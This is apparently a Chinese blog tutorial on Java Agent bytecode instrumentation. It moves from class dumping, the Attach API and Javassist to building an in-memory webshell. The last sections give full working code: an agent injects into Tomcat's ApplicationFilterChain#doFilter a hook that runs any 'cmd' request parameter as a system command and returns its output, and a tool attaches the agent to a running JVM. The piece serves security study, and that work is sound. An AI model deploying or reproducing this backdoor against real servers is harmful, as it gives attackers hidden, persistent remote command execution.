一、初识Java Agent
参考:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html
在 Java Agent 当中,核心的作用是进行 bytecode instrumentation(字节码插桩)
1.Java Agent启动方式
对于.class文件修改(插桩)有三种不同的时机:
图片引用自:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html
Java Agent只关注正在加载和加载后的情况
对应这两种时机,有两种启动Java Agent的方式:
命令行(Command Line)启动 <= Load-Time Instrumentation
java -cp ./target/classes/ -javaagent:./target/TheAgent.jar sample.Program
通过虚拟机提供的 Attach机制来启动 <= Dynamic Instrumentation
import com.sun.tools.attach.VirtualMachine;
public class VMAttach {
public static void main(String[] args) throws Exception {
String pid = "1234";
String agentPath = "D:\\git-repo\\learn-java-agent\\target\\TheAgent.jar";
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath);
vm.detach();
}
}
2.了解Agent Jar
参考:https://lsieun.github.io/java-agent/s01ch01/agent-jar-three-core-components.html
manifest文件中的属性会在agent启动时被加载,我这里介绍常用的属性(与 Java Agent 相关的属性有6、7个):
Premain-Class: 在JVM启动时指定代理时,此属性指定代理类。也就是说,包含premain方法的类。当在JVM启动时指定代理时,此属性是必需的。如果该属性不存在,JVM将中止。注意:这是一个类名,而不是一个文件名或路径。
Agent-Class: 如果实现支持在VM启动后某个时间启动代理的机制,则此属性指定代理类。也就是说,包含agentmain方法的类。这个属性是必需的,如果没有它,代理将不会启动。注意:这是一个类名,而不是文件名或路径。
Can-Redefine-Classes: 布尔值(true或false,与大小写无关)。是重新定义此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
Can-Retransform-Classes: 布尔值(真或假,与大小写无关)。是重新转换此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
Can-Set-Native-Method-Prefix: 布尔值(真或假,大小写无关)。是设置此代理所需的本地方法前缀的能力。真以外的值被认为是假的。此属性是可选的,默认值为false。
3.Java Agent 的实现原理
JVM 在类加载时触发 JVMTI_EVENT_CLASS_FILE_LOAD_HOOK 事件调用添加的字节码转换器完成字节码转换
JVMTI(JVM Tool Interface)是 JVM 暴露出来给用户扩展使用的接口集合,JVMTI 是基于事件驱动的,JVM每执行一定的逻辑就会调用一些事件的回调接口,这些接口可以给用户自行扩展来实现自己的逻辑。
参考时序图
二、使用Agent dump JVM中的Class
1.准备工作
注意:以下代码均使用JDK1.8
创建目录结构
JAgentTest
├── application
│ ├── out
│ │ └── sample
│ └── src
│ └── sample
│ ├── HelloWorld.java
│ └── Program.java
├── java-agent
│ ├── out
│ └── src
│ ├── ClassDumpAgent.java
│ ├── ClassDumpTransformer.java
│ ├── ClassDumpUtils.java
│ └── manifest.txt
└── tools-attach
├── out
└── src
└── Attach.java
2.编写一个application
HelloWorld.java
package sample;
public class HelloWorld {
public static int add(int a, int b) {
return a+b;
}
public static int sub(int a, int b) {
return a-b;
}
}
Program.java
package sample;
import java.lang.management.ManagementFactory;
import java.util.Random;
import java.util.concurrent.TimeUnit;
public class Program {
public static void main(String[] args) throws Exception {
String nameOfRunningVM = ManagementFactory.getRuntimeMXBean().getName();
System.out.println(nameOfRunningVM);
int count = 600;
for (int i = 0; i < count ; i++ ){
String info = String.format("|%03d| %s remains %03d seconds", i, nameOfRunningVM, (count-i));
System.out.println(info);
Random rand = new Random(System.currentTimeMillis());
int a = rand.nextInt(10);
int b = rand.nextInt(10);
boolean flag = rand.nextBoolean();
String message;
if(flag){
message = String.format("a + b = %d",HelloWorld.add(a,b));
}else{
message = String.format("a - b = %d",HelloWorld.sub(a,b));
}
System.out.println(message);
TimeUnit.SECONDS.sleep(1);
}
}
}
PowerShell编译运行
javac .\src\sample\*.java -d .\out\
cd out
java sample.Program
3.编写Agent
ClassDumpAgent.java
premain(): 在主程序运行之前的代理程序使用premain()。(Load-Time Instrumentation)
agentArgs是函数得到的程序参数,随同”-javaagent”一起传入,传入的是一个字符串
Inst是一个java.lang.instrument.Instrumentation的实例,由JVM自动传入
**agentmain():**在主程序运行之后的代理程序使用agentmain()。(Dynamic Instrumentation)
**addTransformer():**注册一个Class文件的转换器,该转换器用于改变class二进制流的数据。
**retransformClasses():**对传入的类(已加载)进行转换
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.List;
import java.util.ArrayList;
/**
* This is a java.lang.instrument agent to dump .class files
* from a running Java application.
*/
public class ClassDumpAgent {
public static void premain(String agentArgs, Instrumentation inst) {
agentmain(agentArgs, inst);
}
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agentArgs: " + agentArgs);
ClassDumpUtils.parseArgs(agentArgs);
inst.addTransformer(new ClassDumpTransformer(), true);
// by the time we are attached, the classes to be
// dumped may have been loaded already.
// So, check for candidates in the loaded classes.
Class[] classes = inst.getAllLoadedClasses();
List<Class> candidates = new ArrayList<>();
for (Class c : classes) {
String className = c.getName();
// 第一步,排除法:不考虑JDK自带的类
if (className.startsWith("java")) continue;
if (className.startsWith("javax")) continue;
if (className.startsWith("jdk")) continue;
if (className.startsWith("sun")) continue;
if (className.startsWith("com.sun")) continue;
// 第二步,筛选法:只留下感兴趣的类(正则表达式匹配)
boolean isModifiable = inst.isModifiableClass(c);
boolean isCandidate = ClassDumpUtils.isCandidate(className);
if (isModifiable && isCandidate) {
candidates.add(c);
}
// 不重要:打印调试信息
String message = String.format("[DEBUG] Loaded Class: %s ---> Modifiable: %s, Candidate: %s", className, isModifiable, isCandidate);
System.out.println(message);
}
try {
// 第三步,将具体的class进行dump操作
// if we have matching candidates, then retransform those classes
// so that we will get callback to transform.
if (!candidates.isEmpty()) {
inst.retransformClasses(candidates.toArray(new Class[0]));
// 不重要:打印调试信息
String message = String.format("[DEBUG] candidates size: %d", candidates.size());
System.out.println(message);
}
}
catch (UnmodifiableClassException ignored) {
}
}
}
ClassDumpTransformer.java
transform()
方法会在 JVM 加载类文件时被调用。具体来说,当 JVM 加载一个类时,它会先将类文件的字节码读入内存,然后将字节码传递给已注册的类转换器(即实现了ClassFileTransformer
接口的类),让转换器对其进行修改。(Load-Time Instrumentation)调用
Instrumentation
接口的retransformClasses
方法时会触发已注册的类转换器的transform()
方法。具体来说,当retransformClasses
方法被调用时,JVM 会将指定的类重新加载,并将其字节码传递给已注册的类转换器进行转换。(Dynamic Instrumentation)
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class ClassDumpTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader,
String className,
Class redefinedClass,
ProtectionDomain protDomain,
byte[] classBytes) {
// check and dump .class file
if (ClassDumpUtils.isCandidate(className)) {
ClassDumpUtils.dumpClass(className, classBytes);
}
// we don't mess with .class file, just return null
return null;
}
}
ClassDumpUtils.java
import java.io.File;
import java.io.FileOutputStream;
import java.util.regex.Pattern;
public class ClassDumpUtils {
// directory where we would write .class files
private static String dumpDir;
// classes with name matching this pattern will be dumped
private static Pattern classes;
// parse agent args of the form arg1=value1,arg2=value2
public static void parseArgs(String agentArgs) {
if (agentArgs != null) {
String[] args = agentArgs.split(",");
for (String arg : args) {
String[] tmp = arg.split("=");
if (tmp.length == 2) {
String name = tmp[0];
String value = tmp[1];
if (name.equals("dumpDir")) {
dumpDir = value;
}
else if (name.equals("classes")) {
classes = Pattern.compile(value);
}
}
}
}
if (dumpDir == null) {
dumpDir = ".";
}
if (classes == null) {
classes = Pattern.compile(".*");
}
System.out.println("[DEBUG] dumpDir: " + dumpDir);
System.out.println("[DEBUG] classes: " + classes);
}
public static boolean isCandidate(String className) {
// ignore array classes
if (className.charAt(0) == '[') {
return false;
}
// convert the class name to external name
className = className.replace('/', '.');
// check for name pattern match
return classes.matcher(className).matches();
}
public static void dumpClass(String className, byte[] classBuf) {
try {
// create package directories if needed
className = className.replace("/", File.separator);
StringBuilder buf = new StringBuilder();
buf.append(dumpDir);
buf.append(File.separatorChar);
int index = className.lastIndexOf(File.separatorChar);
if (index != -1) {
String pkgPath = className.substring(0, index);
buf.append(pkgPath);
}
String dir = buf.toString();
new File(dir).mkdirs();
// write .class file
String fileName = dumpDir + File.separator + className + ".class";
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(classBuf);
fos.close();
System.out.println("[DEBUG] FileName: " + fileName);
}
catch (Exception ex) {
ex.printStackTrace();
}
}
}
manifest.txt
Premain-Class: ClassDumpAgent
Agent-Class: ClassDumpAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
编译打包
javac .\src\ClassDump*.java -d .\out\
cp .\src\manifest.txt .\out\
cd out
java -cvfm classdumper.jar .\manifest.txt .\ClassDump*.class
4.编写Attach
将一个Agent Jar与一个正在运行的Application建立联系,需要用到Attach机制:
Attach.java
VirtualMachine代表一个 Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 JVM 枚举,Attach动作和 Detach动作(Attach 动作的相反行为,从 JVM 上面解除一个代理)等等 ;
import com.sun.tools.attach.VirtualMachine;
/**
* Simple attach-on-demand client tool
* that loads the given agent into the given Java process.
*/
public class Attach {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("usage: java Attach <pid> <agent-jar-full-path> [<agent-args>]");
System.exit(1);
}
// JVM is identified by process id (pid).
VirtualMachine vm = VirtualMachine.attach(args[0]);
String agentArgs = (args.length > 2) ? args[2] : null;
// load a specified agent onto the JVM
vm.loadAgent(args[1], agentArgs);
vm.detach();
}
}
编译打包
javac -cp "%JAVA_HOME%/lib/tools.jar";. src/Attach.java -d out/
运行
java -cp "%JAVA_HOME%/lib/tools.jar";. Attach 11104 D:\Programs\JavaProjects\JAgentTest\java-agent\out\classdumper.jar dumpDir=D:\Programs\JavaProjects\JAgentTest\dump,classes=sample\.HelloWorld
三、使用Agent替换JVM中的类
这次使用IDEA做实验,参考自Y4tacker师傅
1. pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>AgentMainTest</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>com.sunn</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>E:/Enviroment/jdk8u121/lib/tools.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.21.0-GA</version>
</dependency>
</dependencies>
<build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.2</version>
<configuration>
<archive>
<manifestEntries>
<!--改这个为代理类-->
<Agent-Class>AgentMain</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
2. application
在src/main/java目录下写
//TransClass.java
public class TransClass {
public int getNumber(){
System.out.println("我返回1, 求HOOK");
return 1;
}
}
//Test.java
public class Test {
public static void main(String[] args) throws InterruptedException {
System.out.println(new TransClass().getNumber());
int count = 0;
while (true) {
Thread.sleep(500);
count++;
int number = new TransClass().getNumber();
System.out.println(number);
if (count >= 10) {
break;
}
}
}
}
修改TransClass.java为恶意类,编译并将编译后的结果改名为TransClass.class.2
注:编译后的结果在target\classes目录下
//TransClass.class.2
public class TransClass {
public int getNumber(){
System.out.println("Hooked by s8ark !!!!!");
return 2023;
}
}
3. 编写Agent
写个Transformer,把恶意类路径搞进去
//Transformer.java
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer {
public static final String classNumberReturns2 = "D:\\Programs\\JavaProjects\\AgentMainTest\\target\\classes\\TransClass.class.2";
public static byte[] getBytesFromFile(String fileName) throws Exception {
FileInputStream fileInputStream = new FileInputStream(new File(fileName));
byte[] bytes = new byte[1024];
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
int a;
while((a = fileInputStream.read(bytes)) != -1) {
outputStream.write(bytes, 0, a);
}
return outputStream.toByteArray();
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (!className.equals("TransClass")){
return null;
}else {
try {
return getBytesFromFile(classNumberReturns2);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
}
写个AgentMain
//AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new Transformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clazz : classes) {
if(inst.isModifiableClass(clazz)){
if (clazz.getName().equals("TransClass")){
inst.retransformClasses(clazz);
}
}
}
}
}
4.编写Attach
//AttachTest.java
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.IOException;
import java.util.List;
public class AttachTest {
// 一个运行 Attach API 的线程子类
// 每隔半秒时间检查一次所有的 Java 虚拟机
static class AttachThread extends Thread {
private final List<VirtualMachineDescriptor> listBefore;
private final String jar;
AttachThread(String attachJar, List<VirtualMachineDescriptor> vms) {
listBefore = vms; // 记录程序启动时的 VM 集合
jar = attachJar;
}
@Override
public void run() {
VirtualMachine vm = null;
List<VirtualMachineDescriptor> listAfter = null;
try {
int count = 0;
while (true) {
listAfter = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : listAfter) {
if (vmd.displayName().equals("Test")) {
System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
System.out.println("捕捉到Test进程,准备Hook");
vm = VirtualMachine.attach(vmd.id());
break;
}
}
Thread.sleep(500);
count++;
if (null != vm || count >= 10) {
break;
}
}
vm.loadAgent(jar);
vm.detach();
} catch (Exception e) {
}
}
}
public static void main(String[] args) {
new AttachThread("D:\\Programs\\JavaProjects\\AgentMainTest\\target\\AgentMainTest-1.0-SNAPSHOT.jar", VirtualMachine.list()).start();
}
}
然后用maven把项目打包到target目录下
5. 运行
先运行这个AttachTest后,再运行Test
四、遇见Javasist
Java Agent程序可以使用Java Instrumentation API或者JVMTI来动态修改Java字节码,但是这种方式需要编写大量的底层代码,操作复杂,容易出错。我们选择使用 Javasist来更加方便、快捷地对Java字节码进行操作。
Javasist提供了动态修改字节码的能力。相比较于其他工具比如ASM,Javasist更加高层,不需要了解字节码文件的结构,但是运行效率不如ASM等更底层的工具。对于初学者而言,Javasist更加友好。
参考自CSDN博客
Javasist的简单使用:
先引入依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
待增强的类
public class Service {
public void service(){
System.out.println("doService");
}
}
使用Javasist增强Service类
public class JavasistMain {
public static void main(String[] args) throws Exception {
// 创建一个ClassPool对象,获取默认的类搜索路径
ClassPool classPool = ClassPool.getDefault();
// 从ClassPool对象中获取com.s8ark.service.Service类的CtClass对象
CtClass clz = classPool.get("com.s8ark.service.Service");
// 从CtClass对象中获取service方法的CtMethod对象
CtMethod serviceMethod = clz.getDeclaredMethod("service");
//在service方法执行前插入一段代码
serviceMethod.insertBefore("System.out.println(\"Insert before execute!!!\");");
// 在service方法执行后插入一段代码
serviceMethod.insertAfter("System.out.println(\"Insert after execute!!!\");");
// 将修改后的CtClass对象写入到class文件中 clz.writeFile();
//ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,
// 最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。
clz.writeFile();
Service service = (Service) clz.toClass().newInstance();
service.service();
}
}
运行结果
反编译Service.class,发现原始类并没有被修改
调用clz.writeFile()后,ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。
我们可以在根目录下找到这个新的class文件,
五、初步构造Agent 内存马
经过前面这么长的铺垫,终于来到了令人心动的内存马构造环节!
在前面我们学习了如何构造一个Java Agent、如何使用Attach将agent加载到正在运行的JVM和如何使用Javasist修改字节码, 接下来就可以利用这些知识构造内存马了。我将这部分的学习分为三步:
构造application(一个受害者web应用,我将使用Springboot框架搭建)
编写Agent(包括AgentMain和Transformer),在Transformer中修改目标类字节码
编写Attach(将agent加载到application中)
1.构造application
实验环境:JDK1.8、IDEA、Springboot
@Controller
public class VulnController {
@ResponseBody
@RequestMapping("/vuln")
public String cc11Vuln(){
return "Hello World";
}
}
以下参考自天下大木头师傅
我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求
该方法一定会被执行
不会影响正常的业务逻辑
回想我们学习Filter内存马的时候,用户的请求到达Servlet之前,一定会经过 Filter,我们就可以找到ApplicationFilterChain类的doFilter方法
同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回
以下是我们学习过的Container使用Pipeline-Valve管道来处理request对象的流程
当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的Filter和Servlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。
2.编写Agent
我们先定义一个Transformer,在其中使用javassist的 insertBefore将恶意代码插入到前面,从而减少对原程序的功能破坏
//Transformer.java
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
//如果被拦截的类是ApplicationFilterChain,那么对其进行字节码动态修改
if (className.equals(ClassName)){
// 创建一个ClassPool对象,获取默认的类搜索路径
ClassPool classPool = ClassPool.getDefault();
try {
// 从ClassPool对象中获取ApplicationFilterChain类的CtClass对象
CtClass clz = classPool.get(className);
// 从CtClass对象中获取doFilter方法的CtMethod对象
CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
//在doFilter方法执行前插入一段代码
//这段代码从HTTP请求中获取名为“cmd”的参数,并将其作为命令在服务器上执行。然后,它将命令的输出发送回HTTP响应。
doFilterMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = clz.toBytecode();
// 将 clz 从 classpool 中删除以释放内存
clz.detach();
//返回修改后的ApplicationFilterChain类的字节码
return bytes;
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
然后编写AgentMain注册我们的Transformer ,然后遍历已加载的 class,如果存在ApplicationFilterChain类的话那么就调用 retransformClasses 对其进行重定义。
//AgentMain.java
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new Transformer(),true);
Class[] allLoadedClasses = ins.getAllLoadedClasses();
for (Class clazz : allLoadedClasses) {
if (clazz.getName().equals(ClassName)){
try {
ins.retransformClasses(new Class[]{clazz});
}catch (Exception e){
e.printStackTrace();
}
}
}
}
}
3.编写Attach
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachTest {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String jar = "";
List<VirtualMachineDescriptor> list =VirtualMachine.list();
System.out.println("Running JVM list ...");
// 列出当前有哪些 JVM 进程在运行
for (VirtualMachineDescriptor vmd : list) {
if(vmd.displayName().contains("com.example.agent_memhorse.AgentMemhorseApplication")){
String id = vmd.id();
System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
VirtualMachine vm = VirtualMachine.attach(vmd.id());
vm.loadAgent(jar);
vm.detach();
break;
}
}
}
}
4.打包运行
将AgentMain.java和Transformer.java编译打包为jar包
运行受害者application
运行AttachTest
运行AttachTest前
运行AttachTest后
其实学到这里,我们基本了解了内存马的原理,但是实战中很难像我们这样直接执行Attach注入内存马,需要一些利用技巧,下面介绍一下各位师傅提出来的利用技巧。
六、Agent 内存马的利用技巧
上传两个jar包执行
只上传agent.jar到服务器
无文件落地agent植入技术
https://xz.aliyun.com/t/10075#toc-5
https://tttang.com/archive/1525/
优雅的注入内存马